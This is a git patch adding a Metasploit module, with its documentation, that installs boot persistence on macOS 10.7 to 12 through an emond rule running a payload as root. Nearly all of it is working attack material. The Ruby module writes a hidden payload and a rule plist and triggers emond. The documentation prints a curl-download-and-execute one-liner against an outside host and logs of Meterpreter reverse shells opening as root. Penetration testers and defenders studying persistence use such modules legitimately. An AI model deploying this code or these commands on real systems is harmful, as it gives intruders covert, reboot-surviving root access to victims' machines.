From 0740c4ecb07d48626492e4b9d9814be45608042e Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 8 Aug 2026 13:49:33 -0400 Subject: [PATCH] osx emond persistence --- .../modules/exploit/osx/persistence/emond.md | 138 ++++++++++++ modules/exploits/osx/persistence/emond.rb | 212 ++++++++++++++++++ 2 files changed, 350 insertions(+) create mode 100644 documentation/modules/exploit/osx/persistence/emond.md create mode 100644 modules/exploits/osx/persistence/emond.rb diff --git a/documentation/modules/exploit/osx/persistence/emond.md b/documentation/modules/exploit/osx/persistence/emond.md new file mode 100644 index 0000000000000..bc73c7295ca2f --- /dev/null +++ b/documentation/modules/exploit/osx/persistence/emond.md @@ -0,0 +1,138 @@ +## Vulnerable Application + +This module provides a persistent boot payload by installing a rule for the +Event Monitor Daemon (emond). Emond "accepts events from various services, runs +them through a simple rules engine, and takes action", and is launched by launchd +whenever a file exists in its queue directory (`/private/var/db/emondClients`). + +This module drops a payload, writes a rule plist to `/etc/emond.d/rules/` which +executes the payload via a `RunCommand` action, and drops a file in the queue +directory so launchd will start emond. Rules with the `startup` event type execute +as soon as emond loads the rules, and on every boot, as root. + +Emond was introduced in OS X 10.7, and removed in macOS 13 (Ventura), making this +technique viable on OS X 10.7 through macOS 12 (Monterey). Root privileges are +required to write to the rules and queue directories. + +## Verification Steps + +1. Start msfconsole +1. Get a root shell on macOS +1. Do: `use exploit/osx/persistence/emond` +1. Do: `set session ` +1. Do: `run` +1. You should get a new shell as root. + +## Options + +### EVENT_TYPE + +Emond event type which triggers the payload. `startup` executes when emond starts +(including at boot), `auth.success`/`auth.failure` execute on authentication events. +Defaults to `startup`. + +### DELAY + +Time in seconds to delay payload execution. Useful at boot when networking may not +be available yet. Defaults to `10`. + +## Scenarios + +### OS X 11.7.11 (Big Sur) + +Original Shell + +``` +resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1 +session => -1 +resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set target 8 +target => 8 +resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083 +srvport => 8083 +resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o +uripath => o +resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp +payload => osx/x64/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447 +lport => 4447 +resource (/home/h00die/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4447 + +[*] Using URL: http://1.1.1.1:8083/o +[*] Server started. +[*] Run the following command on the target machine: +curl -sk --output 2Q2WiaWL http://1.1.1.1:8083/o; chmod +x 2Q2WiaWL; ./2Q2WiaWL& disown +msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49361) at 2026-08-08 12:42:55 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : h00dies-MacBook-Pro.local +OS : macOS Big Sur (macOS 11.7.11) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/emond +[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp +msf exploit(osx/persistence/emond) > set WritableDir /Users/h00die/Desktop +WritableDir => /Users/h00die/Desktop +msf exploit(osx/persistence/emond) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(osx/persistence/emond) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. emond is installed, and /etc/emond.d/rules and /private/var/db/emondClients are writable +[*] Writing payload to /Users/h00die/Desktop/.LHWTfZao... +[+] Payload stored to /Users/h00die/Desktop/.LHWTfZao +[+] Emond rule added: /etc/emond.d/rules/.LHWTfZao.plist +[+] Emond rule installed successfully. +[+] Emond queue file added: /private/var/db/emondClients/FCKNCxmD +[*] Emond will launch, and the payload will execute on the next startup event +[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260808.4351/ +``` + +Restart + +``` +msf exploit(osx/persistence/emond) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died + +[*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49162) at 2026-08-08 12:45:45 -0400 + +msf exploit(osx/persistence/emond) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : h00dies-MacBook-Pro.local +OS : macOS Big Sur (macOS 11.7.11) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +meterpreter > +``` diff --git a/modules/exploits/osx/persistence/emond.rb b/modules/exploits/osx/persistence/emond.rb new file mode 100644 index 0000000000000..80c8f5164a644 --- /dev/null +++ b/modules/exploits/osx/persistence/emond.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Mac OS X Emond Persistence', + 'Description' => %q{ + This module provides a persistent boot payload by installing a rule for the + Event Monitor Daemon (emond). Emond "accepts events from various services, runs + them through a simple rules engine, and takes action", and is launched by launchd + whenever a file exists in its queue directory (/private/var/db/emondClients). + + This module drops a payload, writes a rule plist to /etc/emond.d/rules/ which + executes the payload via a RunCommand action, and drops a file in the queue + directory so launchd will start emond. Rules with the startup event type execute + as soon as emond loads the rules, and on every boot, as root. + + Emond was introduced in OS X 10.7, and removed in macOS 13 (Ventura), making this + technique viable on OS X 10.7 through macOS 12 (Monterey). Root privileges are + required to write to the rules and queue directories. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Chris Ross (xorrior)', # research + 'h00die' # msf module + ], + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }] + ], + 'DefaultTarget' => 0, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '2016-04-07', # https://magnusviri.com/what-is-emond.html publish date + 'Privileged' => true, + 'References' => [ + ['URL', 'https://xorrior.com/emond-persistence/'], + ['URL', 'https://magnusviri.com/what-is-emond.html'], + ['URL', 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'], + ['ATT&CK', Mitre::Attack::Technique::T1546_014_EMOND] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptEnum.new('EVENT_TYPE', [true, 'Emond event type which triggers the payload.', 'startup', ['startup', 'auth.success', 'auth.failure']]), + OptInt.new('DELAY', [true, 'Time in seconds to delay payload execution.', 10]) + ]) + end + + def check + return CheckCode::Safe('/sbin/emond not found. emond was removed in macOS 13 (Ventura)') unless file?('/sbin/emond') + return CheckCode::Safe("#{rules_dir} not found") unless directory?(rules_dir) + return CheckCode::Safe("#{queue_dir} not found") unless directory?(queue_dir) + return CheckCode::Safe('Session is not running as root, unable to write to emond directories') unless is_root? + return CheckCode::Safe("#{rules_dir} not writable") unless writable?(rules_dir) + return CheckCode::Safe("#{queue_dir} not writable") unless writable?(queue_dir) + return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir) + + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + + CheckCode::Appears("emond is installed, and #{rules_dir} and #{queue_dir} are writable") + end + + def command + delay? ? '/bin/sh' : payload_path + end + + def arguments + return [] unless delay? + + ['-c', "sleep #{datastore['DELAY']}; #{payload_path}"] + end + + def check_for_duplicate_entry + if file?(rule_path) + fail_with 'FileError', "Duplicate emond rule plist already exists at #{rule_path}" + end + end + + def delay? + datastore['DELAY'] > 0 + end + + def label + File.basename(payload_path) + end + + def queue_dir + '/private/var/db/emondClients' + end + + def queue_path + @queue_path ||= "#{queue_dir}/#{Rex::Text.rand_text_alpha(8)}" + end + + def rules_dir + '/etc/emond.d/rules' + end + + def rule_path + @rule_path ||= "#{rules_dir}/#{label}.plist" + end + + def payload_path + @payload_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}") + end + + def install_persistence + check_for_duplicate_entry + + payload_bin = generate_payload_exe + + write_payload(payload_bin) + add_emond_rule + trigger_emond + end + + def add_emond_rule + rule = <<-EOF + + + + + + name + #{label} + enabled + + eventTypes + + #{datastore['EVENT_TYPE']} + + actions + + + type + RunCommand + command + #{command} + arguments + + #{arguments.map { |arg| " #{arg}\n" }.join} + + user + root + group + wheel + + + + + + EOF + + if write_file(rule_path, rule) + print_good("Emond rule added: #{rule_path}") + @clean_up_rc << "rm #{rule_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing emond rule to #{rule_path}") + end + + print_good('Emond rule installed successfully.') + end + + def trigger_emond + # emond does not reload rules while running, so kill any existing instance first. + # launchd will restart it once a file exists in the queue directory. + cmd_exec('killall emond 2>/dev/null') unless datastore['EVENT_TYPE'] == 'startup' + + if write_file(queue_path, '') + print_good("Emond queue file added: #{queue_path}") + @clean_up_rc << "rm #{queue_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing emond queue file to #{queue_path}") + end + + print_status("Emond will launch, and the payload will execute on the next #{datastore['EVENT_TYPE']} event") + end + + def write_payload(exe) + print_status("Writing payload to #{payload_path}...") + mkdir(File.dirname(payload_path), cleanup: false) unless directory?(File.dirname(payload_path)) + + if write_file(payload_path, exe) + print_good("Payload stored to #{payload_path}") + chmod(payload_path, 0o755) + @clean_up_rc << "rm #{payload_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing payload to #{payload_path}") + end + end +end